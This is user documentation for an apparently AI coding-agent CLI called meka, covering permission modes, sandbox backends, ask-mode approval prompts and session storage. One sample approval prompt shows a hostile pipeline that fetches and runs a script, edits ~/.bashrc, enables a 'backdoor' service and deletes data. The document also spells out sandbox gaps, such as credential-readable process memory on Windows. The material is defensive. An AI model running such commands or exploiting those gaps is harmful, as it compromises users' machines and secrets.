unrestricted, and meka refuses it atworkspacerather than dispatching it, becausePermission::allowstreatsworkspace,askandunrestrictedas equal and would otherwise let it straight through. To use one fromworkspace, name it in[mcp.servers.*].tool_permissionsat a level you are willing to grant, or switch tounrestricted. - meka’s own stores are outside the boundary and always writable: memories and the session
database under
MEKA_DATA_DIR, skills underMEKA_CONFIG_DIR. They are governed by their own config keys, not by this one. - Reads are never confined, at any level. The boundary is “this cannot change things outside the workspace”, not “this cannot see them”.
- The in-process fence resolves paths, it does not pin them.
write_fileandedit_fileresolve every existing component of a target before judging it, so a symlink already planted on the path is caught. What is left open is the race: a directory checked and then swapped for a symlink before the write lands. Closing it means holding a directory descriptor through the write on every platform, which is a larger mechanism than this one. It needs a concurrent writer planting the link mid-call to matter, which is consistent with the sandbox being defence against an agent damaging your data by accident rather than an adversarial containment boundary.
Per-platform enforcement
| Platform | Backend | Confines the shell |
|---|---|---|
| Linux | Bubblewrap (preferred) | Yes: read-only root bind, plus a writable bind per root |
| Linux | Landlock (fallback) | Yes: one path-beneath rule per root |
| macOS | sandbox-exec | Yes: writable subpath per root |
| Windows | WRITE_RESTRICTED token + per-root ACE | Yes: writes are permitted only where a workspace capability has an ACE |
Under Bubblewrap, /tmp, /run and /var/tmp are masked with a tmpfs, so paths there are not
merely unwritable but invisible. A workspace root under /tmp is bound after the mask and stays
reachable.
Windows works differently enough to be worth stating. meka mints a deterministic capability SID per
workspace root, adds an inheritable write ACE for it on that root, and runs the shell under a
WRITE_RESTRICTED token carrying that capability. Three consequences:
-
It writes to your directory’s ACL. The grant is real, standing state, visible in
icaclsas anS-1-4-…entry. meka takes it back when the process exits, including on Ctrl+C, and logs how to remove it by hand if revocation fails. The next run re-adds it, which costs one pass over the tree.A crash or a kill still strands it. Nothing runs on those paths, so the ACE outlives them. It grants nothing to anyone but a meka run in that same directory, and is reused rather than duplicated next time, but if you want it gone:
icacls "<root>" /remove:g *<the S-1-4-… from icacls>.The grant is tracked per process, not per session, so several sessions confining the same root share one ACE, and it is released when the process exits rather than when any one of them ends. Under
meka servethat means the ACE stands for the lifetime of the server. -
It needs you to own the root. Ownership supplies
WRITE_DACimplicitly, which is what lets meka grant without elevation. A network share or another user’s folder cannot be a workspace root. -
Writes are restricted; nothing else is. A
WRITE_RESTRICTEDtoken intersects write accesses only. Anything carrying an explicitEveryone: WriteACE stays writable even outside the workspace, which has no Unix analogue.This one is a deliberate trade, not an oversight. The restricting list has to include
Everyoneor PowerShell cannot start: the .NET runtime fails to initialise withE_ACCESSDENIEDbefore it evaluates anything, so every shell command dies. Measured both ways on Windows 11: droppingEveryonecloses the hole and takes the entire shell with it. Writes inside the workspace, to files new and pre-existing, and to meka’s own output pipe all behave the same either way, so a filesystem-only test makes the change look free. Files carrying an explicitEveryone: WriteACE are rare and usually a misconfiguration in their own right; aworkspacemode that cannot run a command is not a usable mode. -
The confined child shares meka’s console and integrity level.
readmode gets a private console and a Low-integrity token, so Windows’ UI privilege isolation stands between it and meka. Aworkspacechild gets neither: a restricted token cannot create a console, only inherit one, and the integrity label is deliberately left alone so ordinary tooling keeps working. The child can therefore write to the terminal outside meka’s own rendering, and window messages between the two are not blocked. It is confined on the filesystem, which is what the mode promises, and it is not isolated from the meka process itself. -
A
workspacecommand can read meka’s process memory, and areadcommand cannot. This is the one axis on whichworkspaceis weaker than the level below it, so it is worth stating plainly.WRITE_RESTRICTEDintersects the restricting SIDs for write access only, and the integrity label is left alone, so nothing stops aworkspacechild callingOpenProcesswithPROCESS_VM_READagainst meka and reading whatever the process is holding, including your provider credentials. Measured on real hardware: a native probe run atworkspaceread a canary string straight out of meka’s heap, while the identical probe atreadfailed atOpenProcesswithERROR_ACCESS_DENIED, because Low integrity refuses the handle. There is no clean fix inside the current design. Dropping theworkspacechild to Low integrity would confine it to the Low-integrity surface and take the workspace write grant with it, and a deny ACE on meka’s own process would have to name a SID the child carries but meka does not, which the restricted token does not provide. Treatworkspaceon Windows as protecting your files from the agent, not as protecting meka’s secrets from a command the agent runs. -
PowerShell runs in ConstrainedLanguage mode. The restricted token triggers it, and
readandunrestrictedare unaffected (both reportFullLanguage). Scripts that construct .NET types or set properties on them will fail atworkspacewhere they work atunrestricted. meka’s own UTF-8 output preamble is skipped rather than run there, so non-ASCII output atworkspaceis decoded with the host’s legacy code page and may be mangled.
The mechanism is a port of a community proof-of-concept rather than a vendor-supported sandboxing API, unlike Landlock, Bubblewrap and Seatbelt. It is the tightest boundary Windows offers without provisioning machine-level identities, which would need an Administrator setup step.
Default Permission
The default permission is read. The default enabled set is
none / read / workspace / unrestricted. ask is opt-in: enable it under [permissions] in
your config if you want approval prompts.
Shift+Tab reaches workspace before unrestricted, so the confined mode is the one you land on
first when you want the agent to change something.
You can change the start mode with:
- CLI flag:
meka --permission workspace - Environment variable:
export MEKA_PERMISSION=workspace - Config file:
[permissions] default = "workspace"; see Config File
If --permission or MEKA_PERMISSION selects a mode that isn’t in [permissions].enabled, meka
logs a warning and starts in the configured default instead of refusing to launch.
If every entry in [permissions].enabled is unusable – most likely a config written before write
was split – meka warns and falls back to read alone, not to the default set. A failed parse
must never resolve to more authority than you wrote, and the default set is four modes wide.
Upgrading from write
The write mode was split in 0.42 and the name is retired. It resolves to nothing, and every
surface says which of the two replaced it:
workspacefor writes confined to the working directory. This is what mostwriteusers actually wanted.unrestrictedfor the old behaviour exactly: no boundary, no sandbox on the shell.
write is refused rather than reassigned on purpose. The same words are also requirements in
[tools.tool_permissions], [mcp.servers.*].tool_permissions and [mcp].default_permission, where
silently re-pointing the name at the narrower mode would have admitted tools a rung earlier than
their author intended. A hard failure at every door is the safe direction.
Anything meka persisted for itself (a sub-agent’s saved spec, a scheduled job’s gate) needs the one-shot migration script; those values were never typed by you and cannot be fixed by hand.
Changing Permissions at Runtime
Press Shift+Tab to cycle through permission levels:
none → read → workspace → ask → unrestricted → none → ...
Disabled modes are skipped during cycling. With the default enabled set, Shift+Tab cycles
none → read → workspace → unrestricted → none.
Or use the /permission slash command:
/permission workspace
/permission unrestricted
/permission <mode> against a disabled mode prints an error naming the currently enabled set.
The prompt indicator updates immediately to reflect the new level. The agent learns the current level via a per-turn [Permission context] block prepended to your message (see How Permissions Work below).
Ask Mode
In ask mode, the agent has access to all tools, but each tool call is paused for your approval:
[ask] Shell
command: ls -la
Allow? (Y/n)
Press Enter or y to approve, or n to deny. If denied, the agent receives an error and may try an alternative approach.
Only y, yes, n, no (any case) and a bare Enter mean anything. Anything else is not an answer,
so meka says Please answer y or n. and asks again rather than guessing; after three unanswered
attempts it denies. Ending the input (Ctrl+D, or a redirected stdin running out) also denies, since
nobody is there to approve.
Ctrl+C does not dismiss the prompt: it cancels the turn, but the prompt is still waiting to be
answered, and the next Enter answers it. Use n or Ctrl+D to get out of one.
This mode is useful when you want the agent to have full capabilities but want to review each action before it executes.
What the prompt shows
Every argument the tool was called with, not just the one the [tool ...] indicator picks out.
That distinction matters: the indicator’s argument is the destination for every write-shaped tool,
so a prompt built from it would ask you to authorise writing to a path without showing the content,
or editing a file without showing the edit.
[ask] WriteFile
path: src/auth.rs
content:
pub fn verify(token: &str) -> bool {
true
}
Allow? (Y/n)
A long value wraps rather than being cut, so the end of a shell pipeline cannot be hidden from the line you are approving.
Where something has to be left out, the end is kept. A value too long to wrap in full shows its beginning, a count of what was dropped, and then its final row:
[ask] Shell
command:
curl -s https://example.com/setup.sh | sh -c 'cat >> ~/.bashrc &&
... 85688 more characters ...
systemctl enable backdoor && rm -rf /important'
Allow? (Y/n)
That matters more here than anywhere else in meka. A shell pipeline puts its consequence last, so a prompt that fills its rows from the top and stops hides the exact part you are being asked about.
The limits: 20 lines and 60 rows per argument, and 100 rows of block before further arguments are dropped and named – 161 rows at the very worst. Those sit an order of magnitude above anything a real tool call carries; they are there so a call with two hundred invented arguments cannot scroll the real one off the top of your screen without saying so.
Whenever a marker appears, denying costs nothing: say no, inspect the file or the session with
meka session export, and let the agent retry.
This is deliberately unaffected by display.tool_params,
which controls the passive indicator. Turning that off for a quieter scrollback does not make your
approval prompts show less.
One consequence worth knowing: if the model passes a secret as a tool argument, an approval prompt puts it on screen. That is the correct trade at the moment you are authorising the call, but it does mean such a value lands in your scrollback.
How Permissions Work
When the agent attempts to use a tool, meka checks whether the current permission level allows it:
- If allowed, the tool executes normally.
- In ask mode, you are prompted to approve or deny.
- If denied, meka returns an error message to the agent explaining which level is required and suggests running
/permission <level>.
Telling the agent the current level
meka lists every registered tool in the per-turn <context> block with its required permission level inline (nothing is filtered out), and the same block carries a compact [Permission context] section:
<context>
[Permission context]
Current permission level: read
Only read-only tools are executable.
[Environment context]
Working directory: /home/you/project
[Available tools]
- **read_file** (requires `read`)
- **write_file** (requires `workspace`)
...
</context>
That two-line permission section is almost the only permission-dependent content in the request; [Environment context] is the other, since it is empty at none and gains a writable-roots block at workspace. The system prompt and the tools-array schemas stay byte-identical across /permission toggles, so mid-session level changes don’t invalidate the Claude prompt cache; the entire conversation stays warm.
The same reasoning is why the tool catalogue itself lives here rather than in the system prompt. Prompt caching is prefix-based, and the system prompt heads that prefix, so anything cached there that later changes (an MCP server connecting late or hot-swapping its tools, a skill being installed) would re-cache the entire conversation behind it. The <context> block rides inside your own message instead, so changes are appended rather than rewritten.
Only what actually changed is re-sent. The first turn of a session carries the full catalogue, skill list, and any MCP server instructions; a turn where nothing moved carries none of it, and a turn where something moved carries a short note naming just that change.
MCP tool permissions
MCP tools are classified through a 5-step resolution chain: per-tool override → server-level override → the server’s own readOnlyHint → [mcp].default_permission → a hardcoded unrestricted fallback. See the Permission resolution section of the Config File docs for the full rules and how to override a misclassified tool.
Built-in tool permissions
Any built-in tool’s required permission can be overridden from config.toml without editing code; see [tools]: built-in tool filters. The same section documents how to allow-list or block-list specific built-ins (e.g. disabling search_web in a locked-down environment).
Sub-agent permissions
Sub-agents spawned via agent_spawn inherit the parent’s permission level by default. At unrestricted the sub-agent can call write_file, edit_file, and unsandboxed execute_command; at read it’s confined to read-only tools. To run one delegated task with reduced privileges, pass the permission parameter (e.g. agent_spawn({prompt: "...", permission: "read"})): it is clamped to the parent’s level as a ceiling, so a sub-agent can only ever be equal-or-more restricted, never escalated. Because workspace and ask are incomparable, a request for one under a parent holding the other resolves to the parent’s own level rather than granting either. Alternatively, cycle the parent into a lower mode before issuing the spawning prompt to restrict every sub-agent it spawns.
Examples
Read Mode (Default)
meka [r] > read the contents of main.rs
The agent uses read_file and shows the contents. Shell commands also work in read mode, but run in a read-only sandbox; the filesystem is write-protected for the child process:
meka [r] > list the files in this directory
meka [r] > show me the git log
Commands like ls, cat, git log, df, ps, and uname work normally. Commands that attempt to write to the filesystem (e.g. touch, rm, mkdir) fail with a permission error.
Two things the sandbox deliberately does not restrict, on every backend:
- Reads. A sandboxed command can read anything your user can, including
~/.ssh,~/.aws/credentialsand meka’s own database. Read mode protects the machine from being changed, not from being read. - The network. Outbound connections are left open, so a read-mode command can still send what it read. Provider API keys are scrubbed from the child’s environment, but that is one vector, not a boundary.
On Windows, workspace extends that first point to meka’s own process. Its WRITE_RESTRICTED token restricts writes only, and unlike read it deliberately leaves the integrity label at the parent’s level, so a confined command can open meka with PROCESS_VM_READ and read its memory. Measured on Windows 11: OpenProcess succeeds and ReadProcessMemory returns data. This is the one respect in which workspace confines less than read, whose Low-integrity token Windows blocks from opening a medium-integrity process at all. It grants nothing that reading meka’s database file would not, which a command at either level can already do, but it is worth knowing if you were treating workspace as strictly wider than read in every direction. They are not ordered that way; see the ladder note above.
If no sandbox backend is usable, read-mode shell commands fail rather than running unconfined. On Linux that means Bubblewrap (preferred whenever bwrap is installed) or Landlock at ABI v3 or newer. Landlock below v3 does not mediate truncate(2), so a “read-only” command could still empty an existing file, and meka refuses it rather than promise a protection the kernel is not enforcing. Kernels 5.13–6.1 therefore need bwrap installed for read-mode shell; meka says so at startup.
If you ask the agent to modify a file:
meka [r] > add a comment to the top of main.rs
The agent will explain that it cannot write files in read mode and suggest switching to workspace.
What read mode does still write
Read mode means the agent cannot modify your tree. It can still write to stores meka owns, because otherwise an agent at read permission could never remember anything:
| Store | Location | Tools |
|---|---|---|
| Memory | the memories table in MEKA_DATA_DIR | memory_write, memory_delete |
| Skills | ~/.config/meka/skills/ | skill_write, skill_delete (only with [skills] agent_managed) |
| Scratchpad, todos, scheduled jobs, background tasks | the session database | various |
Of those, only the skill tools reach the filesystem at all; memory is a database table. That boundary is enforced in two places: a skill name must be one path component matching the Agent Skills spec’s own rule (lowercase letters, digits and hyphens), so it cannot contain .. or a path separator, and a symlink sitting at that name is refused rather than followed, so an existing link cannot redirect a write out of the store. Memory names are governed by a different and wider rule ([A-Za-z0-9_-]), which is safe for a different reason: a memory name is a primary key in a table, never a path. write_file, edit_file and scratchpad_save_file are the only built-ins that touch your tree, and all three require workspace or above, and are fenced to the workspace roots at that level.
A root you asked for is not always a root you get. --writable-root drops a path three ways, each with a warning: one that is not a directory, one naming a system directory the sandbox masks (/, /proc, /dev, /sys, /run, /tmp, /var/tmp, $XDG_RUNTIME_DIR), and one that does not resolve at startup – the last is kept rather than refused, so a build directory becomes a root the moment it exists. See CLI options.
MCP tools are the exception
Tools from MCP servers are not built-ins and are not covered by that boundary. They execute inside the server’s own process, which meka does not sandbox, so what an MCP tool may do is bounded by the server, not by meka’s permission level.
What decides whether such a tool is reachable at read is the permission meka resolves for it, and by default a server’s own readOnlyHint: true annotation is enough to classify it as read. That hint is asserted by the server and not verified. A server that advertises it for a tool that in fact writes therefore gets to write your tree while meka sits at read.
For a server you have not audited, either pin its tools explicitly with tool_permissions or set trust_read_only_hint = false on it, which makes the hint advisory for display only and drops its tools to the strict unrestricted fallback, past [mcp].default_permission.
So the honest statement of read mode’s filesystem guarantee is: your tree is safe from meka’s built-in tools, plus whichever MCP servers you have chosen to trust.
Note: The read-only sandbox uses Bubblewrap or Landlock (ABI v3+, kernel 6.2+) on Linux,
sandbox-execon macOS, and a Low-integrity token on Windows. See Shell for what each backend covers. Where no backend is usable, shell commands are not available atreadorworkspace. You can disable sandboxed shell execution by settingsandbox = falseunder[shell]in the config file (see Config File), which makesexecute_commandrequireunrestrictedinstead.
Workspace Mode
meka [w] > run cargo test and show me the output
The agent uses execute_command to run the tests and shows the results.
Sessions
Sessions persist your conversation so you can resume later. Each session is identified by a UUID and stored in a SQLite database.
How Sessions Work
- A session is not created when meka starts. It is created lazily when you send the first message.
- When a session is created, its UUID is printed to stderr.
- When you exit meka (Ctrl+D), the session UUID is printed again so you can note it for later.
- Sessions include the full conversation: your inputs, the agent’s responses, and tool call results.
Resuming a Session
Continue Last Session
meka -c
This resumes the most recently updated session. -c takes no value, so you can follow it with an opening prompt: meka -c "and now add tests".
By UUID
meka -r 550e8400-e29b-41d4-a716-446655440000
The agent loads the previous conversation and continues from where you left off.
By UUID Prefix
If the value passed to -r isn’t a valid UUID, meka treats it as a leading prefix and looks up sessions whose ID starts with it. This avoids having to copy the entire UUID:
meka -r 550e # works if exactly one session starts with `550e`
meka -r 5 # likely ambiguous; meka lists matching IDs and exits
When a prefix matches multiple sessions, meka prints the matching IDs (most-recent first) so you can disambiguate. Type a few more characters until the prefix is unique.
What a Resume Restores
A session records what it runs on, and a resume brings all of it back:
- The provider profile. A session started with
--provider openairesumes onopenai, whateverdefault_providersays. This matters beyond the surprise: a thinking block is tagged with the provider that produced it and is not replayed to a different one, so resuming across providers would silently discard the reasoning the conversation recorded, and a different account would be billed. - The permission level. A session created at
unrestrictedresumes there without the flag.
Everything the profile itself states comes with it: the model, the endpoint, the context window the
gauge and auto-compaction measure against, and whether images may be attached. A session records the
profile’s name, not a copy of its settings, so editing the profile with
meka provider set moves every session on it.
Two sessions on one meka serve can sit on profiles with different windows and each is measured
against its own.
Naming --provider on a resume repins the session: the row is rewritten, so it keeps that
profile from then on rather than for one run. --permission repins the same way.
You can also change the provider mid-session: /provider <name> in the REPL,
PATCH /v1/sessions/{id} with {"provider": "..."} over HTTP, or the Provider picker in an ACP
client. Each rewrites the row.
That PATCH is also how you rescue a session over HTTP when its profile has left config.toml: a
body naming only a provider moves the row without building an agent for it, so it works on a session
that cannot currently run. From the CLI the equivalent is meka -r <id> --provider <name>.
Switching provider mid-conversation is allowed and is your call. From the next turn the model no longer sees the reasoning recorded under the old provider, for the reason above.
What a Resume Does Not Restore
--writable-root is not restored, because it belongs to the process rather than the session; pass
it again. See permissions for why recording it would be wrong.
A resumed session opens in the directory it recorded, not the one your shell is in. meka -c from anywhere reopens the session where it was working, and /cd is the only thing that moves it. This is deliberate: at workspace the working directory is the writable boundary, so adopting the shell’s would silently widen it – resume a project session from $HOME and the whole home directory becomes writable, with a scheduled job able to fire before you could react. If the recorded directory has since been removed, meka warns and opens where you are. To get back to your shell’s directory, run /cd with no argument.
A resume restores the conversation, not the world it ran in. The messages come back verbatim, which means the agent reads its own earlier tool calls and can reasonably assume their effects still hold. Two kinds of state do not survive the process that made them:
- Which files have been read. meka tracks reads in memory so
edit_filecan refuse to write over a file the agent has not seen. A new process starts with that record empty, so the first edit to any file asks for aread_filefirst. - Anything an MCP server was holding. A loaded database, an authenticated session, a subscription – these belong to the server’s process, not to the conversation, and a reconnect drops them. meka has no way to model what a given server keeps open.
Everything else is restated in the per-turn context on every turn regardless (permission level, working directory, todo list, tool catalogue), and background tasks that were running deliver an interrupted outcome, so none of those can go stale unnoticed.
Because the second kind is unknowable from meka’s side, the first turn after a resume carries a [Session resumed] note telling the agent to re-establish rather than assume. It appears once and is not repeated. There is nothing to configure.
Session Locking
Only one meka instance can be attached to a session at a time. This prevents race conditions from concurrent writes.
- The lock is taken the moment the session row exists, which for a brand-new session is at the start of its first turn rather than the end. A second invocation launched while that turn is still running is refused like any other.
- If you try to resume a session that is locked by a running meka process, you will get an error.
- If the locking process has exited (crashed or was killed), meka detects this and allows you to take over the lock.
- Under ACP (
meka acp), the lock is released as soon as the editor disconnects: closing the connection (stdin EOF) or sending SIGTERM/Ctrl-C makesmeka acpexit, so the session can be reopened immediately.
Storage Location
Sessions are stored in a SQLite database at a platform-specific location:
| Platform | Path |
|---|---|
| Linux | ~/.local/share/meka/meka.db ($XDG_DATA_HOME/meka/meka.db) |
| macOS | ~/Library/Application Support/meka/meka.db |
| Windows | %APPDATA%\meka\meka.db |
What else is in that directory
meka.db-wal and meka.db-shm are SQLite’s own companions to the open store, not backups. The
locks/ subdirectory holds the lock files meka uses to keep two processes off one session and off
one schema change; it is empty of anything worth reading.
You may also find one meka.db.v<version>.bak. meka copies the store aside before it changes the
schema, and keeps exactly one such copy: the next schema-changing upgrade takes a fresh one and
removes the one before it, so the copies do not accumulate. Expect the data directory to settle at
roughly twice the size of the store, and to peak higher than that during an upgrade, since the new
copy is written before the old one goes.
To restore one, stop every meka process and copy it over meka.db. It records the schema version it
was taken at, so the next start brings it forward again rather than mistaking it for a current store.
Because only the newest is kept, restoring undoes the most recent schema-changing upgrade and
nothing before it; move a copy of your own aside if you want to go back further.
An interrupted upgrade can leave a meka.db.v<version>.bak.partial behind. That is a copy that never
finished, so it is not restorable and nothing removes it; delete it whenever you like.
Anything else you put in this directory is yours and meka leaves it alone, including a file whose name merely resembles the above.
Database Schema
The three tables below are the conversation itself. The database holds seven more, which the
features that own them document: scheduled_jobs (scheduling), background_tasks
(background work), memories and its memories_fts full-text index
(memory), prompt_history (the REPL’s
input history), and provider_credentials and
mcp_credentials (secrets, never in config.toml).
sessions, one row per session:
| Column | Type | Description |
|---|---|---|
id | TEXT (UUID) | Primary key |
created_at | TEXT (RFC 3339) | When the session was created |
updated_at | TEXT (RFC 3339) | When the session was last updated |
parent_session_id | TEXT (UUID) | The session that spawned this sub-agent, or NULL |
cwd | TEXT | Working directory the session is in; moved only by /cd, ACP, or PATCH |
permission | TEXT | Permission mode a re-attached session resumes with |
capabilities_json | TEXT | Per-session capability flags, for HTTP re-attach |
token_id | TEXT | Bearer token that created the session, for HTTP |
additional_roots_json | TEXT | Workspace roots beyond cwd |
subagent_spec_json | TEXT | The terms a sub-agent was spawned under |
stat_* | INTEGER | Eight cumulative counters behind /status |
provider | TEXT | Provider profile the session runs on. Never NULL, though a row carried forward from a store that predates the column can hold '' |
Locks are OS file locks under the data directory, not a column: a row cannot record a crashed process’s PID and lock a session forever.
messages, one row per message in a session:
| Column | Type | Description |
|---|---|---|
id | INTEGER | Auto-incrementing primary key |
session_id | TEXT (UUID) | Foreign key to sessions.id |
role | TEXT | user, assistant, or tool_results |
content | TEXT | Message content (plain text or JSON) |
created_at | TEXT (RFC 3339) | When the message was saved |
tool_outputs, scratchpad entries, one row per entry:
| Column | Type | Description |
|---|---|---|
session_id | TEXT (UUID) | Part of composite primary key |
name | TEXT | Part of composite primary key |
content | TEXT | The stored content |
created_at | TEXT (RFC 3339) | When the entry was created |
Scratchpad entries are scoped to a session. Two sessions can have entries with the same name. Entries are preserved across compaction but deleted when a session is deleted.
History Retention
meka never deletes sessions unless you ask it to. Conversation history isn’t reproducible, so there is no default cleanup by age and none at all by size.
If you do want a time window, set it explicitly:
[session]
retention_days = 30 # delete sessions not updated in 30 days, at startup
With that set, meka deletes matching sessions when the agent starts and says so at warn level, so a deletion you configured is still a deletion you see. Unset (the default) keeps everything forever.
To prune on demand instead, delete on your own schedule:
meka session delete --older-than-days 90 # same window, run when you choose
meka session delete <id> [<id>…] # specific sessions
meka session delete --all # everything
Deleting a session also removes its messages, scratchpad entries, and any sub-agent children.
A session is locked from the moment it exists – the lock is taken before the row is written, so a sweep in another terminal cannot catch it in between. That holds for new sessions, for sub-agent sessions, and for forks made by the REPL or an editor. Copying a conversation holds it still too: meka session fork and meka session export refuse a session another process has open, because a copy taken mid-turn ends on a user message the model never answered and restores as an unusable session. meka session rewind has always done this.
No deletion touches a session another meka process has open. Naming one by id fails and says so; --all, --older-than-days and the startup sweep skip it and report how many they left behind. This matters most for the startup sweep, because only turns bump a session’s timestamp – resuming does not – so a REPL left at its prompt past the window looks expired while somebody is sitting in front of it.
See Config File for details.
Context Window Limiting
Long sessions can exceed the LLM’s context window or become expensive. The context_messages setting (default: 200) limits how many recent messages are sent to the API:
[session]
context_messages = 100
The full history remains in SQLite for resumption. Only the API payload is truncated. The cap applies to every request in a turn, not just the first, so a long tool loop cannot grow the payload past it mid-turn, and the truncation preserves tool call chains (it never splits a tool use from its result). Removing the key restores the default of 200 rather than lifting the cap.
The tool catalogue and skill list travel in the conversation rather than the system prompt, so they are subject to this window too. meka tracks where it last stated them and restates them in full once that message scrolls out, which works out to roughly once per window. Setting context_messages very low therefore makes those restatements more frequent.
Compacting a Session
When a session becomes too long, /compact replaces the older turns with a summary and keeps a token-budgeted tail of the most recent messages verbatim (snapped to a clean user-turn boundary so tool calls aren’t split).
By default the summary is written by the agent itself, in a checkpoint turn that runs before anything is discarded. The agent gets its real system prompt, its memory index, the full conversation, and a small set of tools, and is told its context is about to be replaced. It saves whatever must outlive the window (memory_write for facts and decisions that should still be true in a future session, the scratchpad for working material), then calls context_replace with the summary.
This matters because compaction is the one moment information is destroyed, and before this it was also the one moment the agent could not act. The alternative, a separate summarizer call, knows nothing about who the agent is or what it is for.
A checkpoint can save, but not act. It reaches the memory, scratchpad, todo, conversation-history and read-only search tools, and nothing else: no shell, no file writes, no sub-agents, no scheduling, no MCP. The delete tools are excluded too, since deleting is not saving and a mistaken delete in an unattended checkpoint is unrecoverable. A tool disabled in [tools] stays disabled here.
You can say what to keep:
/compact keep the auth refactor decisions, drop the debugging
The confirmation reports what was written, because memories are durable and instance-scoped:
Session compacted. Wrote 2 memories: deploy-pipeline-quirks, api-rate-limits.
Note that an automatic compaction runs a checkpoint too, unattended, and can write memory without anyone watching.
Compaction preserves scratchpad entries and the todo list, and re-injects environment context so the agent isn’t disoriented afterwards. The tool catalogue, skill list, and MCP server instructions are restated in full on the next turn, since the messages that carried them may have been summarized away. Tools loaded via load_tool stay loaded; the deferred-tool active set is snapshotted into the compaction boundary. If a detail was dropped, the model can conversation_search / conversation_read the full pre-compaction history, which stays on disk.
Internally, compaction does not delete pre-compaction rows from the database. It appends a compact_boundary row to the messages table; the materialized view is reconstructed from the event log, so the persisted log itself stays append-only.
When the summarizer runs instead
A standalone summarizer, with no tools and none of the agent’s identity, is the fallback. It runs when:
- The compaction is an emergency one, i.e. the provider has already rejected the request for exceeding the window. A checkpoint turn re-sends that same conversation, so it would be refused identically; the summarizer strips images and truncates long blocks, which is what lets it get through.
- The checkpoint turn fails or produces nothing usable.
compact_checkpointis off.
There is one rung in between: if the checkpoint turn ends without calling context_replace but did write a summary in prose, that text is used. tool_choice isn’t available across meka’s providers, so the call can’t be forced.
[session]
compact_checkpoint = true # default
Turning it off leaves the standalone summarizer to write every summary, which saves one model call per compaction at the cost of the agent having no say in what survives.
Auto-Compact
When auto_compact is enabled (default: true), meka automatically compacts the conversation when the input token count exceeds 80% of the context window. The threshold check runs between turns, not during tool loops. It is both reactive (the previous turn’s reported usage) and proactive (an estimate of the next request, so a turn whose own input jumps over the window is compacted before it is sent). As a last resort, if the provider still rejects a request for exceeding the context window, meka compacts once and retries the turn instead of failing.
[session]
auto_compact = true
context_window = 200000 # optional override
Agent-Initiated Compaction
The agent doesn’t have to wait for the threshold. context_compact asks for a compaction before the agent’s next step: it runs once the current batch of tool calls finishes, and the turn then carries on against the summary. What it reclaims is history from earlier turns: with the default keep_recent, the tail is cut back to a clean user boundary, so the current turn stays verbatim and an agent that filled its window with this turn’s own tool results gets little back. One compaction per turn: a further request once the first has run is ignored, and the agent can ask again on a later turn.
context_compact(instructions: "the day's work is in memory now", keep_recent: false)
keep_recent: false skips the verbatim tail entirely, so the summary is all that remains. That is the difference between compacting and turning the page, and it’s what makes a “start of a new day” routine work: a scheduled job at midnight can write the day’s diary to memory, then compact clean, instead of carrying yesterday’s context forward indefinitely.
The request is parked rather than applied where it is made: a tool cannot rewrite the conversation the agent loop is holding. It is drained at the next boundary between rounds, once the batch’s tool results are in, which is what lets the rest of the turn run against the summary.
What the Agent Sees
Once a turn has been measured, the per-turn context block carries a [Context budget] line reporting occupancy and the threshold compaction fires at:
[Context budget]
Using ~84k of 200k tokens (42%). The conversation is summarised automatically at
80%, which loses detail, so prefer to finish or checkpoint work before then.
The agent is expected to budget its own reading and to decide when a task will fit, so it needs the same number the harness uses. Without it, those are guesses. The line is suppressed when the window is unknown, and on the first turn of a session, when there is no measurement yet rather than a genuine zero.
It rides the per-turn context block rather than the system prompt because it changes every turn and the system prompt is the cached prefix.
From the second compaction onward the line also reports how many have happened, since a summary of a summary has lost considerably more than a first pass:
This conversation has been summarised 3 times, so early detail is now several
removes from what was said; write anything that must last to memory rather than
relying on it surviving another pass.
Because that block is rendered once per turn, it does not move while the agent works. During a long tool loop, which is exactly when context moves fastest, it is stale. context_check reports the live figures on demand: occupancy, headroom in tokens, the fixed overhead compaction cannot reclaim, how much of the recent conversation would survive verbatim, and the compaction count. Refreshing the pushed block instead would rewrite a message the provider’s prompt cache already covers, invalidating it on every iteration; a tool result appends at the tail and is cache-safe.
Listing Sessions
To see past sessions:
meka session list
This shows a table with each session’s ID, last update time, provider profile, and a preview of the first message:
ID Updated Provider Preview
550e8400 2026-03-14 12:00:00 work How do I implement a binary search tree?
a1b2c3d4 2026-03-13 09:30:00 personal Fix the login page CSS
The ID column shows as much of each id as distinguishes it from the others on screen, widening only
if two would otherwise read the same. Every command that takes a session id – meka -r, export,
show, fork, rewind, delete – accepts any unique prefix, so what you see is normally what
you retype. An ambiguous prefix is refused and every match listed, rather than acted on.
Uniqueness is computed over the rows on screen, while the commands resolve against every session
in the store. A listing narrowed by -n, or one hiding sub-agent sessions (they are hidden unless
--include-children is given), can therefore print a prefix that a wider set makes ambiguous. That
fails closed: the command refuses and names both ids, so nothing is acted on and the full id is one
copy away.
For the whole id, and the working directory and permission the table has no room for:
meka session show 550e8400
By default the 20 most recent sessions are shown. Use -n to change:
meka session list -n 50
Sub-agent transcripts are hidden by default, so the listing stays the conversations you started. Add
--include-children to see them too:
meka session list --include-children
The Provider column names the profile, which is the whole story: a session records a profile name
and nothing else, so the model and endpoint it runs on are whatever that profile currently says.
meka provider list shows them.
Exporting a Session
You can export any session as a Markdown file:
meka session export 550e8400-e29b-41d4-a716-446655440000
This writes session-550e8400-e29b-41d4-a716-446655440000.md in the current directory with the full conversation. User and assistant messages are rendered as Markdown sections, while tool calls and results are wrapped in collapsible <details> blocks. The export always covers the entire session, including turns that were later hidden from the model by compaction (each compaction point is marked with its summary).
To write to a specific file:
meka session export 550e8400-e29b-41d4-a716-446655440000 -o conversation.md
To print to stdout (for piping):
meka session export 550e8400-e29b-41d4-a716-446655440000 -o -
JSON (structured, round-trippable)
Pass --format json for a structured export instead of rendered Markdown:
meka session export 550e8400-e29b-41d4-a716-446655440000 --format json
This writes session-<id>.json, a lossless dump of the session’s event log (including input images and compaction boundaries), its cumulative stats, and scratchpad entries. Unlike Markdown, a JSON export also includes any sub-agent child sessions spawned during the conversation, and it can be re-imported with meka session import. It deliberately contains no credentials: API keys and OAuth tokens live in separate tables and are never part of an export.
Importing a Session
Recreate a session from a JSON export:
meka session import session-550e8400-e29b-41d4-a716-446655440000.json
meka assigns the imported session (and any sub-agent children) new UUIDs so they can’t collide with existing sessions, then prints the new root session ID. Resume it like any other session:
meka -r <new-id>
Read from stdin with -:
cat session.json | meka session import -
